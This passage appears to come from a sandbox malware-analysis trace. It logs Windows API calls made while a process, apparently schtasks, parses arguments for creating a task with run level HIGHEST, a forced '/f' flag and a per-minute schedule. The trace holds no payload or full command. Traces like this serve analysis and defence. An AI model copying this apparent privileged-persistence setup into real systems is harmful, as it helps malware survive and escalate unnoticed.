_Buffer="|f|") returned 3 [0132.060] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.060] lstrlenW (lpString="|f|") returned 3 [0132.060] lstrlenW (lpString="|rl|") returned 4 [0132.060] SetLastError (dwErrCode=0x490) [0132.060] lstrlenW (lpString="v1") returned 2 [0132.060] lstrlenW (lpString="v1") returned 2 [0132.060] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.060] lstrlenW (lpString="rl") returned 2 [0132.060] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.060] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|v1|") returned 4 [0132.060] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.060] lstrlenW (lpString="|v1|") returned 4 [0132.060] lstrlenW (lpString="|rl|") returned 4 [0132.060] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0132.060] SetLastError (dwErrCode=0x490) [0132.061] lstrlenW (lpString="xml") returned 3 [0132.061] lstrlenW (lpString="xml") returned 3 [0132.061] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.061] lstrlenW (lpString="rl") returned 2 [0132.061] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.061] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|xml|") returned 5 [0132.061] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.061] lstrlenW (lpString="|xml|") returned 5 [0132.061] lstrlenW (lpString="|rl|") returned 4 [0132.061] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0132.061] SetLastError (dwErrCode=0x490) [0132.061] lstrlenW (lpString="ec") returned 2 [0132.061] lstrlenW (lpString="ec") returned 2 [0132.061] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.061] lstrlenW (lpString="rl") returned 2 [0132.061] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.061] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ec|") returned 4 [0132.061] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.062] lstrlenW (lpString="|ec|") returned 4 [0132.062] lstrlenW (lpString="|rl|") returned 4 [0132.062] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0132.066] SetLastError (dwErrCode=0x490) [0132.066] lstrlenW (lpString="rl") returned 2 [0132.066] lstrlenW (lpString="rl") returned 2 [0132.066] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.066] lstrlenW (lpString="rl") returned 2 [0132.067] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.067] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.067] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.067] lstrlenW (lpString="|rl|") returned 4 [0132.067] lstrlenW (lpString="|rl|") returned 4 [0132.067] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0132.067] SetLastError (dwErrCode=0x0) [0132.067] SetLastError (dwErrCode=0x0) [0132.067] lstrlenW (lpString="HIGHEST") returned 7 [0132.067] lstrlenW (lpString="-/") returned 2 [0132.067] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0132.067] SetLastError (dwErrCode=0x490) [0132.067] SetLastError (dwErrCode=0x490) [0132.067] SetLastError (dwErrCode=0x0) [0132.067] lstrlenW (lpString="HIGHEST") returned 7 [0132.067] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0132.067] SetLastError (dwErrCode=0x490) [0132.067] SetLastError (dwErrCode=0x0) [0132.067] _memicmp (_Buf1=0x3ed560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.067] lstrlenW (lpString="HIGHEST") returned 7 [0132.068] lstrlenW (lpString="HIGHEST") returned 7 [0132.068] lstrlenW (lpString=" \x09") returned 2 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0132.068] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0132.070] GetLastError () returned 0x0 [0132.070] lstrlenW (lpString="HIGHEST") returned 7 [0132.070] lstrlenW (lpString="HIGHEST") returned 7 [0132.070] SetLastError (dwErrCode=0x0) [0132.070] SetLastError (dwErrCode=0x0) [0132.070] lstrlenW (lpString="/f") returned 2 [0132.070] lstrlenW (lpString="-/") returned 2 [0132.070] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.070] lstrlenW (lpString="create") returned 6 [0132.070] lstrlenW (lpString="create") returned 6 [0132.070] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.070] lstrlenW (lpString="f") returned 1 [0132.070] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.070] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.070] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.070] lstrlenW (lpString="|create|") returned 8 [0132.070] lstrlenW (lpString="|f|") returned 3 [0132.070] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0132.071] SetLastError (dwErrCode=0x490) [0132.071] lstrlenW (lpString="?") returned 1 [0132.071] lstrlenW (lpString="?") returned 1 [0132.071] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.071] lstrlenW (lpString="f") returned 1 [0132.071] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.071] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|?|") returned 3 [0132.071] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.071] lstrlenW (lpString="|?|") returned 3 [0132.071] lstrlenW (lpString="|f|") returned 3 [0132.071] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0132.071] SetLastError (dwErrCode=0x490) [0132.071] lstrlenW (lpString="s") returned 1 [0132.071] lstrlenW (lpString="s") returned 1 [0132.071] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.071] lstrlenW (lpString="f") returned 1 [0132.071] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.071] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|s|") returned 3 [0132.071] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.072] lstrlenW (lpString="|s|") returned 3 [0132.072] lstrlenW (lpString="|f|") returned 3 [0132.072] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0132.072] SetLastError (dwErrCode=0x490) [0132.072] lstrlenW (lpString="u") returned 1 [0132.072] lstrlenW (lpString="u") returned 1 [0132.072] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.072] lstrlenW (lpString="f") returned 1 [0132.072] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.072] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|u|") returned 3 [0132.072] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.072] lstrlenW (lpString="|u|") returned 3 [0132.072] lstrlenW (lpString="|f|") returned 3 [0132.072] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0132.072] SetLastError (dwErrCode=0x490) [0132.072] lstrlenW (lpString="p") returned 1 [0132.072] lstrlenW (lpString="p") returned 1 [0132.072] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.072] lstrlenW (lpString="f") returned 1 [0132.072] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.073] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|p|") returned 3 [0132.073] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.073] lstrlenW (lpString="|p|") returned 3 [0132.073] lstrlenW (lpString="|f|") returned 3 [0132.073] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0132.073] SetLastError (dwErrCode=0x490) [0132.073] lstrlenW (lpString="ru") returned 2 [0132.073] lstrlenW (lpString="ru") returned 2 [0132.073] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.073] lstrlenW (lpString="f") returned 1 [0132.073] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.073] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ru|") returned 4 [0132.073] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.073] lstrlenW (lpString="|ru|") returned 4 [0132.073] lstrlenW (lpString="|f|") returned 3 [0132.073] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0132.073] SetLastError (dwErrCode=0x490) [0132.073] lstrlenW (lpString="rp") returned 2 [0132.073] lstrlenW (lpString="rp") returned 2 [0132.074] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.074] lstrlenW (lpString="f") returned 1 [0132.074] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.074] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rp|") returned 4 [0132.074] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.074] lstrlenW (lpString="|rp|") returned 4 [0132.074] lstrlenW (lpString="|f|") returned 3 [0132.074] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0132.074] SetLastError (dwErrCode=0x490) [0132.074] lstrlenW (lpString="sc") returned 2 [0132.074] lstrlenW (lpString="sc") returned 2 [0132.074] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.074] lstrlenW (lpString="f") returned 1 [0132.074] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.074] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.074] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.074] lstrlenW (lpString="|sc|") returned 4 [0132.074] lstrlenW (lpString="|f|") returned 3 [0132.074] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0132.075] SetLastError (dwErrCode=0x490) [0132.075] lstrlenW (lpString="mo") returned 2 [0132.075] lstrlenW (lpString="mo") returned 2 [0132.075] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.075] lstrlenW (lpString="f") returned 1 [0132.075] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.075] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|mo|") returned 4 [0132.075] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.075] lstrlenW (lpString="|mo|") returned 4 [0132.075] lstrlenW (lpString="|f|") returned 3 [0132.075] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0132.075] SetLastError (dwErrCode=0x490) [0132.075] lstrlenW (lpString="d") returned 1 [0132.075] lstrlenW (lpString="d") returned 1 [0132.075] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.075] lstrlenW (lpString="f") returned 1 [0132.075] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.075] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|d|") returned 3 [0132.075] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.076] lstrlenW (lpString="|d|") returned 3 [0132.076] lstrlenW (lpString="|f|") returned 3 [0132.076] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0132.076] SetLastError (dwErrCode=0x490) [0132.076] lstrlenW (lpString="m") returned 1 [0132.076] lstrlenW (lpString="m") returned 1 [0132.076] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.076] lstrlenW (lpString="f") returned 1 [0132.076] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.076] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|m|") returned 3 [0132.076] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.076] lstrlenW (lpString="|m|") returned 3 [0132.076] lstrlenW (lpString="|f|") returned 3 [0132.076] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0132.076] SetLastError (dwErrCode=0x490) [0132.076] lstrlenW (lpString="i") returned 1 [0132.076] lstrlenW (lpString="i") returned 1 [0132.076] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.076] lstrlenW (lpString="f") returned 1 [0132.076] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.077] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|i|") returned 3 [0132.077] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.077] lstrlenW (lpString="|i|") returned 3 [0132.077] lstrlenW (lpString="|f|") returned 3 [0132.077] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0132.077] SetLastError (dwErrCode=0x490) [0132.077] lstrlenW (lpString="tn") returned 2 [0132.077] lstrlenW (lpString="tn") returned 2 [0132.077] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.077] lstrlenW (lpString="f") returned 1 [0132.077] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.077] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.077] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.077] lstrlenW (lpString="|tn|") returned 4 [0132.077] lstrlenW (lpString="|f|") returned 3 [0132.077] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0132.077] SetLastError (dwErrCode=0x490) [0132.077] lstrlenW (lpString="tr") returned 2 [0132.077] lstrlenW (lpString="tr") returned 2 [0132.077] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.077] lstrlenW (lpString="f") returned 1 [0132.077] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.078] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.078] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.078] lstrlenW (lpString="|tr|") returned 4 [0132.078] lstrlenW (lpString="|f|") returned 3 [0132.078] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0132.078] SetLastError (dwErrCode=0x490) [0132.078] lstrlenW (lpString="st") returned 2 [0132.078] lstrlenW (lpString="st") returned 2 [0132.078] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.078] lstrlenW (lpString="f") returned 1 [0132.078] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.078] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|st|") returned 4 [0132.078] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.078] lstrlenW (lpString="|st|") returned 4 [0132.078] lstrlenW (lpString="|f|") returned 3 [0132.078] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0132.078] SetLastError (dwErrCode=0x490) [0132.078] lstrlenW (lpString="sd") returned 2 [0132.078] lstrlenW (lpString="sd") returned 2 [0132.078] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.078] lstrlenW (lpString="f") returned 1 [0132.078] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.078] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sd|") returned 4 [0132.078] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.078] lstrlenW (lpString="|sd|") returned 4 [0132.078] lstrlenW (lpString="|f|") returned 3 [0132.079] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0132.079] SetLastError (dwErrCode=0x490) [0132.079] lstrlenW (lpString="ed") returned 2 [0132.079] lstrlenW (lpString="ed") returned 2 [0132.079] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.079] lstrlenW (lpString="f") returned 1 [0132.079] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.079] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ed|") returned 4 [0132.079] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.079] lstrlenW (lpString="|ed|") returned 4 [0132.079] lstrlenW (lpString="|f|") returned 3 [0132.079] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0132.079] SetLastError (dwErrCode=0x490) [0132.079] lstrlenW (lpString="it") returned 2 [0132.079] lstrlenW (lpString="it") returned 2 [0132.079] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.079] lstrlenW (lpString="f") returned 1 [0132.079] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.079] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|it|") returned 4 [0132.079] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.079] lstrlenW (lpString="|it|") returned 4 [0132.079] lstrlenW (lpString="|f|") returned 3 [0132.079] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0132.079] SetLastError (dwErrCode=0x490) [0132.079] lstrlenW (lpString="et") returned 2 [0132.079] lstrlenW (lpString="et") returned 2 [0132.079] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.079] lstrlenW (lpString="f") returned 1 [0132.080] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.080] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|et|") returned 4 [0132.080] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.080] lstrlenW (lpString="|et|") returned 4 [0132.080] lstrlenW (lpString="|f|") returned 3 [0132.080] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0132.080] SetLastError (dwErrCode=0x490) [0132.080] lstrlenW (lpString="k") returned 1 [0132.080] lstrlenW (lpString="k") returned 1 [0132.080] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.080] lstrlenW (lpString="f") returned 1 [0132.080] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.080] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|k|") returned 3 [0132.080] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.080] lstrlenW (lpString="|k|") returned 3 [0132.080] lstrlenW (lpString="|f|") returned 3 [0132.080] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0132.080] SetLastError (dwErrCode=0x490) [0132.080] lstrlenW (lpString="du") returned 2 [0132.080] lstrlenW (lpString="du") returned 2 [0132.080] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.080] lstrlenW (lpString="f") returned 1 [0132.080] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.081] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|du|") returned 4 [0132.081] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.081] lstrlenW (lpString="|du|") returned 4 [0132.081] lstrlenW (lpString="|f|") returned 3 [0132.081] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0132.081] SetLastError (dwErrCode=0x490) [0132.081] lstrlenW (lpString="ri") returned 2 [0132.081] lstrlenW (lpString="ri") returned 2 [0132.081] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.081] lstrlenW (lpString="f") returned 1 [0132.081] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.081] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ri|") returned 4 [0132.081] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.081] lstrlenW (lpString="|ri|") returned 4 [0132.081] lstrlenW (lpString="|f|") returned 3 [0132.081] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0132.081] SetLastError (dwErrCode=0x490) [0132.081] lstrlenW (lpString="z") returned 1 [0132.081] lstrlenW (lpString="z") returned 1 [0132.081] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.081] lstrlenW (lpString="f") returned 1 [0132.081] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.081] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|z|") returned 3 [0132.081] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.081] lstrlenW (lpString="|z|") returned 3 [0132.081] lstrlenW (lpString="|f|") returned 3 [0132.081] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0132.081] SetLastError (dwErrCode=0x490) [0132.082] lstrlenW (lpString="f") returned 1 [0132.082] lstrlenW (lpString="f") returned 1 [0132.082] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.082] lstrlenW (lpString="f") returned 1 [0132.082] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.082] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.082] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|f|") returned 3 [0132.082] lstrlenW (lpString="|f|") returned 3 [0132.082] lstrlenW (lpString="|f|") returned 3 [0132.082] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0132.082] SetLastError (dwErrCode=0x0) [0132.082] SetLastError (dwErrCode=0x0) [0132.082] GetProcessHeap () returned 0x3d0000 [0132.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecd20 [0132.082] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.082] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0132.082] lstrlenW (lpString="LIMITED") returned 7 [0132.082] GetProcessHeap () returned 0x3d0000 [0132.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3ed580 [0132.082] GetThreadLocale () returned 0x409 [0132.082] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0132.082] GetProcessHeap () returned 0x3d0000 [0132.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3eccf0 [0132.082] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.082] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0132.082] lstrlenW (lpString="HIGHEST") returned 7 [0132.083] GetProcessHeap () returned 0x3d0000 [0132.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3ed5a0 [0132.083] GetThreadLocale () returned 0x409 [0132.083] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0132.083] GetProcessHeap () returned 0x3d0000 [0132.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3eccc0 [0132.083] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.083] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0132.083] lstrlenW (lpString="MINUTE") returned 